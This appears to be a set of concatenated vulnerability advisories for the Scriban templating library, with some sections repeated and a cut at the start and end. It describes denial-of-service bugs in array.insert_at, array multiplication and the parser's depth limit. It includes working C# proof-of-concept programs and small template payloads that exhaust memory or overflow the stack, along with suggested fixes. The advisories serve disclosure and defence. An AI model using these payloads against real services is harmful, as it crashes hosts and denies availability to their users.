docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
